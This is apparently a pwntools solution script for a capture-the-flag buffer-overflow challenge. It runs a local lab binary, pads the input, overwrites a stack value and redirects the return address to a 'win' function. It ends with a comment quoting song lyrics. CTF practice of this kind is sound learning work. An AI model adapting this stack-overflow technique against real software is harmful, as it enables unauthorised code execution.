# +------------------------------------------------+
# | Atack: Bof Win Function                        |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *
import time
import sf

target = process("./chall-test_inctf17-overflow1")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x28)
bof_payload.add_int32(0x8, 0xdeadfacf)
bof_payload.set_ret(0x804848b)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Set me Free                              |
# +------------------------------------------------+
# | Hold a newborn close                           |
# | and dream for a little while                   |
# +------------------------------------------------+

